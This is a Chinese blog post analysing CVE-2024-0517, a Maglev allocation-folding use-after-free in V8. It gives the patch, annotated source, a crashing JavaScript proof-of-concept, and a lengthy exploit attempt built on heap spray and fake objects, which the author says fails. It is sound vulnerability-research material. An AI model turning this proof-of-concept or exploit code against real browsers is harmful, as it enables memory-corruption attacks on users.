CVE-2024-0517:Error Fold Allocations in VisitFindNonDefaultConstructorOrConstruct

前言

本文首发于看雪论坛:https://bbs.kanxue.com/thread-281445.htm#msg_header_h1_4

这个漏洞发生在 MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct 函数中,考虑之前分析的 CVE-2023-4069 也是发生在该函数中,所以打算把该漏洞也分析了。该漏洞主要发生在折叠分配时,未考虑内存空间分配与初始化之间的操作可能导致触发 gc,从而导致 UAF

环境搭建

git checkout d8fd81812d5a4c5c3449673b6a803279c4bdb2f2
gclient sync -D

漏洞分析

还是从 patch 入手:

diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc
index ad7eccf..3dd3df5 100644
--- a/src/maglev/maglev-graph-builder.cc
+++ b/src/maglev/maglev-graph-builder.cc
@@ -5597,6 +5597,7 @@
           object = BuildAllocateFastObject(
               FastObject(new_target_function->AsJSFunction(), zone(), broker()),
               AllocationType::kYoung);
+          ClearCurrentRawAllocation();
         } else {
           object = BuildCallBuiltin<Builtin::kFastNewObject>(
               {GetConstant(current_function), new_target});

可以看到补丁代码非常简单,就是添加了个 ClearCurrentRawAllocation 函数:

void MaglevGraphBuilder::ClearCurrentRawAllocation() {
  current_raw_allocation_ = nullptr;
}

该函数的功能为将 current_raw_allocation_ 指针清空

这里补丁代码打在了 TryBuildFindNonDefaultConstructorOrConstruct 函数中,其上层调用链为:

VisitFindNonDefaultConstructorOrConstruct
	TryBuildFindNonDefaultConstructorOrConstruct

VisitFindNonDefaultConstructorOrConstruct 其实我们在之前分析 CVE-2023-4069 时就详细分析过,其主要就是处理 FindNonDefaultConstructorOrConstruct 节点的,但是这里还是放一下代码分析吧:

void MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct() {
  ValueNode* this_function = LoadRegisterTagged(0); // target
  ValueNode* new_target = LoadRegisterTagged(1);    // new_target

  auto register_pair = iterator_.GetRegisterPairOperand(2);
  // 先调用 TryBuildFindNonDefaultConstructorOrConstruct
  if (TryBuildFindNonDefaultConstructorOrConstruct(this_function, new_target, register_pair)) {
  	return;
  }
  // 失败则调用 Builtin_FindNonDefaultConstructorOrConstruct
  CallBuiltin* result =
      BuildCallBuiltin<Builtin::kFindNonDefaultConstructorOrConstruct>({this_function, new_target});
  StoreRegisterPair(register_pair, result);
}

这里会先调用 TryBuildFindNonDefaultConstructorOrConstruct 尝试进行图创建:

bool MaglevGraphBuilder::TryBuildFindNonDefaultConstructorOrConstruct(
    ValueNode* this_function, ValueNode* new_target,
    std::pair<interpreter::Register, interpreter::Register> result) {
  // See also:
  // JSNativeContextSpecialization::ReduceJSFindNonDefaultConstructorOrConstruct
  // 【1】获取 target constant
  compiler::OptionalHeapObjectRef maybe_constant = TryGetConstant(this_function);
  if (!maybe_constant) return false;
  // 获取 map 和原型链上的对象
  compiler::MapRef function_map = maybe_constant->map(broker());
  compiler::HeapObjectRef current = function_map.prototype(broker());

  // TODO(v8:13091): Don't produce incomplete stack traces when debug is active.
  // We already deopt when a breakpoint is set. But it would be even nicer to
  // avoid producting incomplete stack traces when when debug is active, even if
  // there are no breakpoints - then a user inspecting stack traces via Dev
  // Tools would always see the full stack trace.
  // 遍历原型链
  while (true) {
    // 遍历 __proto__
    // 如果原型对象不是 JSFunction,则遍历结束
    if (!current.IsJSFunction()) return false;
    // 当前原型对象 current_function
    compiler::JSFunctionRef current_function = current.AsJSFunction();

    // If there are class fields, bail out. TODO(v8:13091): Handle them here.
    if (current_function.shared(broker()).requires_instance_members_initializer()) {
      return false;
    }

    // If there are private methods, bail out. TODO(v8:13091): Handle them here.
    if (current_function.context(broker()).scope_info(broker()).ClassScopeHasPrivateBrand()) {
      return false;
    }
    // 获取函数类型 kind
    FunctionKind kind = current_function.shared(broker()).kind();
    // 如果是派生默认构造函数,则直接跳过
    if (kind != FunctionKind::kDefaultDerivedConstructor) { 
      // The hierarchy walk will end here; this is the last change to bail out
      // before creating new nodes.
      if (!broker()->dependencies()->DependOnArrayIteratorProtector()) {
        return false;
      }
      // 【2】获取 new_target constant
      compiler::OptionalHeapObjectRef new_target_function = TryGetConstant(new_target);
      // 如果是顶层默认构造函数,则进行相关处理
      if (kind == FunctionKind::kDefaultBaseConstructor) { 
        // Store the result register first, so that a lazy deopt in
        // `FastNewObject` writes `true` to this register.
        StoreRegister(result.first, GetBooleanConstant(true));

        ValueNode* object;
        // new_target_function 存在且是 JSFunction
        // 并且 new_target_function 具有一个有效的 initial_map
        // 	即 initial_map.constructor ==? target
        if (new_target_function && new_target_function->IsJSFunction() &&
            HasValidInitialMap(new_target_function->AsJSFunction(), current_function)) { 
             //【3】为对象分配空间 
          	object = BuildAllocateFastObject(
              	FastObject(new_target_function->AsJSFunction(), zone(), broker()), 
              	AllocationType::kYoung);
        } else {
          object = BuildCallBuiltin<Builtin::kFastNewObject>({GetConstant(current_function), new_target});
          // We've already stored "true" into result.first, so a deopt here just
          // has to store result.second. Also mark result.first as being used,
          // since the lazy deopt frame won't have marked it since it used to be
          // a result register.
          current_interpreter_frame_.get(result.first)->add_use();
          object->lazy_deopt_info()->UpdateResultLocation(result.second, 1);
        }
        StoreRegister(result.second, object);
      } else {
        StoreRegister(result.first, GetBooleanConstant(false));
        StoreRegister(result.second, GetConstant(current));
      }

      broker()->dependencies()->DependOnStablePrototypeChain(
          function_map, WhereToStart::kStartAtReceiver, current_function);
      return true;
    }

    // Keep walking up the class tree.
    // 遍历下一个 __proto__
    current = current_function.map(broker()).prototype(broker());
  }
}

可以看到这里我们可以将其分为快速路径和慢速路径,快速路径主要就是利用 new_target.initial 直接进行对象创建,慢速路径则退回到内建函数 FastNewObject,这里我们主要看快速路径,快速路径为 【1】->【2】->【3】,而 【3】 也是漏洞代码所在处,所以需要满足以下条件:

  • 1、TryGetConstant(this_function)
  • 2、TryGetConstant(new_target)
  • 3、new_target.initial.constructor === target

这里想要到达想要到达漏洞逻辑,得绕过这三个判断,前面两个还是之前的方式插入 CheckValue 节点绕过,第三个就不多说了,new_target 是派生构造函数即可,或者顶层默认构造函数也🆗,比较简单

最后为分配对象的语句如下,也是漏洞代码所在处:

object = BuildAllocateFastObject(
    	FastObject(new_target_function->AsJSFunction(), zone(), broker()), 
		AllocationType::kYoung);

然后跟进 BuildAllocateFastObject,看其是如何创建对象的:

ValueNode* MaglevGraphBuilder::BuildAllocateFastObject(FastObject object, AllocationType allocation_type) {
  SmallZoneVector<ValueNode*, 8> properties(object.inobject_properties, zone());
  for (int i = 0; i < object.inobject_properties; ++i) {
    // MaglevGraphBuilder::BuildAllocateFastObject(FastField value, AllocationType allocation_type) 
    properties[i] = BuildAllocateFastObject(object.fields[i], allocation_type);
  }
  // elements
  // MaglevGraphBuilder::BuildAllocateFastObject(FastFixedArray value, AllocationType allocation_type) 
  ValueNode* elements = BuildAllocateFastObject(object.elements, allocation_type);

  DCHECK(object.map.IsJSObjectMap());
  // TODO(leszeks): Fold allocations. 尝试折叠分配,allocation 就是分配空间的指针
  ValueNode* allocation = ExtendOrReallocateCurrentRawAllocation(object.instance_size, allocation_type);
  // 设置对象的 map,主要就是添加一个 StoreMap 节点
  BuildStoreReceiverMap(allocation, object.map);
  // 设置 Properties 为 EmptyFixedArray,添加 StoreTaggedFieldNoWriteBarrier 节点
  AddNewNode<StoreTaggedFieldNoWriteBarrier>(
      {allocation, GetRootConstant(RootIndex::kEmptyFixedArray)}, JSObject::kPropertiesOrHashOffset);
  
 if (object.js_array_length.has_value()) { 
    // 如果 js_array_length 有值,则初始化 length
    // 添加 StoreTaggedFieldNoWriteBarrier 节点 或 StoreTaggedFieldWithWriteBarrier 节点
    BuildStoreTaggedField(allocation, GetConstant(*object.js_array_length), JSArray::kLengthOffset);
  }
  // 设置 Elements
  // 添加 StoreTaggedFieldNoWriteBarrier 节点 或 StoreTaggedFieldWithWriteBarrier 节点
  BuildStoreTaggedField(allocation, elements, JSObject::kElementsOffset);
  // 设置属性
  for (int i = 0; i < object.inobject_properties; ++i) { 
    BuildStoreTaggedField(allocation, properties[i], object.map.GetInObjectPropertyOffset(i));
  }
  return allocation;
}

这里可以看到分配空间调用了 ExtendOrReallocateCurrentRawAllocation 函数,其会尝试折叠分配:

ValueNode* MaglevGraphBuilder::ExtendOrReallocateCurrentRawAllocation(
    								int size, AllocationType allocation_type) {
  // 【1】
  if (!current_raw_allocation_ || // current_raw_allocation_ 为空
      current_raw_allocation_->allocation_type() != allocation_type || // 分配类型不一致
      !v8_flags.inline_new) 	// 头一次分配
  {			
    // 分配 size 空间,节点为 AllocateRaw
    current_raw_allocation_ = AddNewNode<AllocateRaw>({}, allocation_type, size);
    return current_raw_allocation_;
  }
  // 如果上面三个条件都不满足,则会走到这里
  // 即 current_raw_allocation_ 不为空,且分配类型一致,且不是头一次分配
  int current_size = current_raw_allocation_->size();
  // 【2】检查是否可以折叠分配
  //	如果折叠分配后空间太大,则单独分配,并更新 current_raw_allocation_
  if (current_size + size > kMaxRegularHeapObjectSize) { 
    return current_raw_allocation_ = AddNewNode<AllocateRaw>({}, allocation_type, size);
  }
  // 【3】折叠分配,current_size 应当大于 0
  DCHECK_GT(current_size, 0);
  int previous_end = current_size; // previous_end 即当前对象的起始位置
  current_raw_allocation_->extend(size); // 扩展当前分配空间
  // FoldedAllocation 节点,这里只记录 current_raw_allocation_ / previous_end 即可
  // 该对象的位置为:current_raw_allocation_ + previous_end
  return AddNewNode<FoldedAllocation>({current_raw_allocation_}, previous_end); 
}

先来说下什么是折叠分配?顾名思义,当我们在进行内存分配时,可能每次分配一小块内存,比如下面场景:

ptr1 = malloc(0x10)
do something1
prt2 = malloc(0x20)
do something2

而多次分配内存可能是一个比较耗时的行为,于是编译器在静态分析阶段,会尝试进行分配折叠优化:

prt1 = current_raw_allocation_ = malloc(0x30)
prt2 = current_raw_allocation_ + 0x10
do something1
do something2

这里就避免了多次内存分配,但在动态类型语言中,可能会出现一些问题,比如在 JavaScript 中,内存是由 gc 进行管理的,在 V8 中,没有被 root object 直接或间接引用的对象被标记为死对象,在触发 gc 时会被回收。所以考虑如下场景:

var obj1 = AllocateRaw(0x10);
do something1 ==> trigger gc
var obj2 = AllocateRaw(0x20);
do something2 ==> use obj2

而如果此时发生分配折叠优化:

var obj1 = AllocateRaw(0x30) = current_raw_allocation_
var obj2 = current_raw_allocation_ + 0x10
do something1 ==> trigger gc
init obj2
do something2 ==> use obj2

这里的问题就是在分配完空间后,只对 obj1 的部分进行了初始化,而 obj2 的初始化则是在后面,那么如果在初始化 obj2 之前触发了 gc,那么此时 current_raw_allocation_+0x10 这后面的内存就会被回收掉,如果我们此时分配对象占据这块内存,后面 do something2 时,仍然使用 current_raw_allocation_+0x10,则导致 UAF

让我们会到该漏洞分析中,通过上面的分析我们可以知道:

  • 在创建 this 对象时,保留了 current_raw_allocation_ 指针,所以如果后面存在内存分配,则可能发生分配折叠

poc 如下:

class A {}
class B extends A {
        constructor() {
                const check = new new.target;
                super();
                %DebugPrint(this);
                let g = new Array(0x1000).fill(2.2); // 触发 gc
                let o = [1.1,1.1,1.1,1.1,1.1,1.1]; // 会与 this 创建进行合并
        }
}

for (let i = 0; i < 0x1000; i++) {
        Reflect.construct(B, [], A);
}

这里先来看下 Maglev IR
在这里插入图片描述
调试分析下:

this 对象的地址为 0x2bca002ba4d5instance_size = 12,与 Maglev IR 图是吻合的:
在这里插入图片描述
然后程序就 crash 了:
在这里插入图片描述
从调用栈中的函数名称可以知道,明显触发了 gc,而这里 rsi 的值为一个 --- 地址,所以发生内存访问错误。这里我们来看下 this 对象下方的内存:
在这里插入图片描述
这里我们换个角度看:0x2bca002ba4d5-1 = this_addr ==> o_addr = this_addr+12
在这里插入图片描述
看到这里其实就明白了,最开始分配了 84 字节的空间,减去 this 对象占据的头 12 字节的空间,还剩下 72 字节的空间,这 72 字节其实就是包含了 o 对象本身的空间和其 elements 占据的空间

而这段空间在 o 对象初始化之前在 gc 的过程中被释放了,然后又被其它对象占据了,所以在 o 初始化这段空间时就发生了 UAF,即把其它对象内容给覆盖了,所以后面的 rsi0x2bca3ff19999 = 0x2bca00000000 + 0x3ff19999,这里的 0x3ff19999 就是 1.1 的头 4 字节

漏洞利用【todo

嗯,,,笔者感觉这个漏洞想要稳定利用还是比较困难的,因为我们无法精准控制 gc,并且也无法精确控制释放后的内存被哪个对象占据。后面看看别人的 expliot 吧,主要是这里的 gc 搞得我很烦,还是太菜了~~~
========================================= 后续 ================================
写利用写了两天,但是还是没写出来,gc 后似乎拿不到指定的内存,主要是 victim 始终在 this 对象的上方,不知道为啥,看参考文章说其应该在下方~~~太菜了,然后不想在继续浪费时间了,后面有灵感了在回来写利用,暂时留个坑

失败的 exploit

var buf = new ArrayBuffer(8);
var dv  = new DataView(buf);
var u8  = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var roots = new Array(0x30000);
var index = 0;

function pair_u32_to_f64(l, h) {
        u32[0] = l;
        u32[1] = h;
        return f64[0];
}

function u64_to_f64(val) {
        u64[0] = val;
        return f64[0];
}


function f64_to_u64(val) {
        f64[0] = val;
        return u64[0];
}

function set_u64(val) {
        u64[0] = val;
}

function set_l(l) {
        u32[0] = l;
}

function set_h(h) {
        u32[1] = h;
}

function get_l() {
        return u32[0];
}

function get_h() {
        return u32[1];
}

function get_u64() {
        return u64[0];
}

function get_f64() {
        return f64[0];
}

function get_fl(val) {
        f64[0] = val;
        return u32[0];
}

function get_fh(val) {
        f64[0] = val;
        return u32[1];
}

function add_ref(obj) {
        roots[index++] = obj;
}

var gc_flag= false;
function major_gc() {
        if (gc_flag) {
                new ArrayBuffer(0x7fe00000);
                return 0;
        }
        return 1;
}

function minor_gc() {
        if (gc_flag) {
                for (let i = 0; i < 8; i++) {
                        add_ref(new ArrayBuffer(0x200000));
                }
                add_ref(new ArrayBuffer(8));
                return 2;
        }
        return 1;
}

function hexx(str, val) {
        console.log(str+": 0x"+val.toString(16));
}

function sleep(ms) {
        return new Promise((resolve) => setTimeout(resolve, ms));
}

var spray_array = new Array(0xf700).fill(1.1);
var element_start_addr = 0x00442139;
var data_element_start_addr = element_start_addr + 7;
var map_addr = data_element_start_addr + 0x1000;
var fake_object_addr = map_addr + 0x1000;
var element_map_addr = fake_object_addr + 0x200;
//0x3204040400183c39      0x0a0007ff11000842
spray_array[(map_addr               - data_element_start_addr) / 8] = pair_u32_to_f64(data_element_start_addr+0x200+1, 0x32040404); // 这里也可以直接照抄
spray_array[(map_addr              - data_element_start_addr) / 8 + 1] = u64_to_f64(0x0a0007ff11000842n);
spray_array[(fake_object_addr      - data_element_start_addr) / 8] = pair_u32_to_f64(map_addr+1, 0x6cd);
spray_array[(fake_object_addr      - data_element_start_addr) / 8 + 1] = pair_u32_to_f64(3, 0x20);

/*
0x61000000000004c5
0x004003ff0c0000b1
0x0000007d0000007d
0x000006dd00000701
0x0000000000000000
*/

spray_array[(element_map_addr - data_element_start_addr) / 8 + 0] = u64_to_f64(0x61000000000004c5n);
spray_array[(element_map_addr - data_element_start_addr) / 8 + 1] = u64_to_f64(0x004003ff0c0000b1n);
spray_array[(element_map_addr - data_element_start_addr) / 8 + 2] = u64_to_f64(0x0000007d0000007dn);
spray_array[(element_map_addr - data_element_start_addr) / 8 + 3] = u64_to_f64(0x000006dd00000701n);
spray_array[(element_map_addr - data_element_start_addr) / 8 + 3] = u64_to_f64(0x0000000000000000n);

/*
0x000100010000062d
0x000006f500000000
0x0000018400002b29
0x0000000000000002
*/
/*
var descriptors_addr = element_map_addr + 0x100;
spray_array[(descriptors_addr - data_element_start_addr) / 8 + 0] = u64_to_f64(0x000100010000062dn);
spray_array[(descriptors_addr - data_element_start_addr) / 8 + 1] = u64_to_f64(0x000006f500000000n);
spray_array[(descriptors_addr - data_element_start_addr) / 8 + 2] = pair_u32_to_f64(descriptors_addr+0x28, 0x00000184);
spray_array[(descriptors_addr - data_element_start_addr) / 8 + 3] = u64_to_f64(0x0000000000000002n);
spray_array[(descriptors_addr - data_element_start_addr) / 8 + 4] = u64_to_f64(0x0000000000000000n);
spray_array[(descriptors_addr - data_element_start_addr) / 8 + 5] = u64_to_f64(0x0000000000000070n);
*/

/*
0xd6d6d7e2000003d5
0x0000006f00000001
*/

var str_addr = element_map_addr + 0x100;
spray_array[(str_addr - data_element_start_addr) / 8 + 0] = u64_to_f64(0xd6d6d7e2000003d5n);
spray_array[(str_addr - data_element_start_addr) / 8 + 1] = u64_to_f64(0x0000007000000001n);

print("fake_object_addr:", pair_u32_to_f64(fake_object_addr+1, fake_object_addr+1));
hexx("fake_object_addr", fake_object_addr+1);
hexx("element_map_addr", element_map_addr+1);
//hexx("descriptors_addr", descriptors_addr+1);

//print("TEST:", pair_u32_to_f64(0x41414141, 0x41414141));

//var nnn = pair_u32_to_f64(0x41414141, 0x41414141);
var header = pair_u32_to_f64(element_map_addr+1, 0x40);
//var X = pair_u32_to_f64(descriptors_addr+0x28+1, descriptors_addr+0x28+1);
var X = pair_u32_to_f64(str_addr+1, 1);
var nnn = pair_u32_to_f64(fake_object_addr+1, fake_object_addr+1);
var debug = false;
var empty_object = {};
class A {}
class B extends A {
        constructor() {
                const check = new new.target;
                let v = [
                        empty_object,empty_object,empty_object,empty_object,
                        empty_object,empty_object,empty_object,empty_object,
                ];
                super();
                let o = [
                        header, header, header, header,
                        X,X,X,X,X,X,X,X,
                        nnn, nnn, nnn, nnn, nnn, nnn, nnn, nnn,
                        nnn, nnn, nnn, nnn, nnn, nnn, nnn, nnn,
                        nnn, nnn, nnn, nnn, nnn, nnn, nnn, nnn,
                        header, header, header, header,
                ];

                this.o = o;
                this.v = v;
        }
        [100] = major_gc();
}

for (let i = 0; i < 200; i++) {
        if (i % 2 == 0) gc_flag = true;
        major_gc();
        gc_flag = false;

}

var w = null;
const N = 640;
const M = 644;
const S = 650;
var block = null;
for (let i = 0; i < S; i++) {
        gc_flag = false;
        if (i == N || (M < i && i < M+4)) {
                gc_flag = true;
                major_gc();
                gc_flag = false;
        }

        if (i == M+3) {
                gc_flag = true;
        //      major_gc();
        //      major_gc();
        //      major_gc();

        //      let tmp1 = { o:{}, v:{} };
        //      block = [1.1, 1.1, 1.1, 1.1, 1.1];
        //      let tmp2 = [
        //              empty_object,empty_object,empty_object,empty_object,
        //              empty_object,empty_object,empty_object,empty_object,
        //      ];
        //      minor_gc();
        //      %DebugPrint(tmp1);
        //      %DebugPrint(block);
        //      %DebugPrint(tmp2);

        }

        let r = Reflect.construct(B, [], A);
        if (i == M+3) w = r;
}
/*
print("================ w ======================");
%DebugPrint(w);
print("================ w.o ====================");
%DebugPrint(w.o);
print("================ w.v ====================");
%DebugPrint(w.v);
print("=========================================");
*/
try {
        print(w.v[0]);
} catch (m) {
        %DebugPrint(w['p']);
        %DebugPrint(w);
}

print("END");

如有读者能够写出稳定的利用,希望不吝赐教

总结

通过分析该漏洞,学习到了分配折叠优化,目前已经通过复现漏洞学习了编译的如下常见优化方式:

  • 常量折叠
  • 公共子表达式消除
  • 数组边界检查消除
  • 逃逸分析
  • 分配折叠

总的来说还是不错的,弥补了自己对编译器知识的匮乏,希望后面能够学到更多有趣的编译器漏洞

参考

Google Chrome V8 CVE-2024-0517 Out-of-Bounds Write Code Execution

  • 30
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值